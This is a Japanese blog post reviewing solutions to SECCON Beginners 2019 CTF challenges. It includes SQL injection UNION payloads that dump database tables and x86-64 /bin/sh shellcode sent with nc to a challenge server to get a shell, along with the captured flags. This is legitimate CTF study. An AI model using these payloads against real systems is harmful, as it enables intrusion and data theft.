セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

【SECCON for Beginners2019】復習

//




昨年に引き続き..

今年も参加しました。今年はBornOn21というチームで167/666位という結果でした。正直僕はほぼ貢献できてないです(去年より難しくなってた?)。なのでWriteUpという見出しは使わないで、もう完全に他の方の解き方を見て復習する記事にします。特に自分が解こうとして解けなかった問題をここに残します。

f:id:thinline196:20190526174118p:plain




参考サイト

今回は備忘録なのでこちらの参考サイトさんを見てくださいね。

qiita.com

szarny.hatenablog.com

betit0919.hatenablog.com

furutsuki.hatenablog.com

注意

WriteUpじゃないですからね。







[Reversing] Seccompare

コマンドライン引数とフラグをstrcmpで比較している感じ。radare2で開いたら比べる文字が見えるので、そのまま解けます。 f:id:thinline196:20190526174909p:plain
ctf4b{5tr1ngs_1s_n0t_en0ugh}

[Web] Ramen

店員と一言を検索するフォームがあり、そこにSQLインジェクション脆弱性があるようです。UNION句ではカラムの数を同じにしなければエラーになるんですね。SQLに弱いので勉強になりました。

' UNION SELECT table_name,column_name FROM Information_schema.COLUMNS; #
' UNION SELECT 1, flag FROM flag; #

僕はテーブル名を調べるときにこんな感じでやりましたが、上の方がスマートですね。

a' or '1'='1' UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE')  --




[Web] Katsudon

問題文。

Rails 5.2.1で作られたサイトです。

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。

フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag

# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

で、表示されるflagは下になります。 BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a
問題文を見た感じ、message_verifierをいじるのかと思いましたが、渡されたフラグの前半部分をbase64でデコードするだけでした。。。

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
Railsのプロジェクト作って実際に走らせたりと色々迷走しました。


[Crypto] So Tired

初めはbase64の文字列が渡されるのでデコードし、それをfileコマンドで調べるとzlib形式で圧縮されている事がわかるそうです。簡単なデコードは下のコマンドでできます。 base64 -d encrypted.txt > out.txt

import zlib
import base64

data = open("encrypted.txt").read()

while True:
    data = base64.b64decode(data)
    print(data) # どちらで答えが出るかわからない
    data = zlib.decompress(data)
    print(data)




[Misc] containers

foremostで渡されたdataを解析したら、下の画像が出てきました。これ、正しい解法なのでしょうか? f:id:thinline196:20190526181328p:plain

ctf4b{e52df60c058746a66e4ac4f34db6fc81}




[Pwnable] shellcoder

送ったシェルコードをそのまま実行してくれるらしいのですが、binshの文字が入っているものは排除されるらしいです。

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 Linux/x86-64 - Execute /bin/sh - 27 bytes

root@kali:~/Downloads/seccon4b2019# echo -en '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' > shell.bin
root@kali:~/Downloads/seccon4b2019# hexdump -C shell.bin 
00000000  31 c0 48 bb d1 9d 96 91  d0 8c 97 ff 48 f7 db 53  |1.H.........H..S|
00000010  54 5f 99 52 57 54 5e b0  3b 0f 05                 |T_.RWT^.;..|
0000001b
root@kali:~/Downloads/seccon4b2019# 
root@kali:~/Downloads/seccon4b2019# cat shell.bin - | nc 153.120.129.186 20000
Are you shellcoder?
ls
flag.txt
shellcoder
cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

ctf4b{Byp4ss_us!ng6_X0R_3nc0de}


[Web] Dump

作者さんの解法 takahoyo.hatenablog.com



最後に

全く歯が立たなかった。。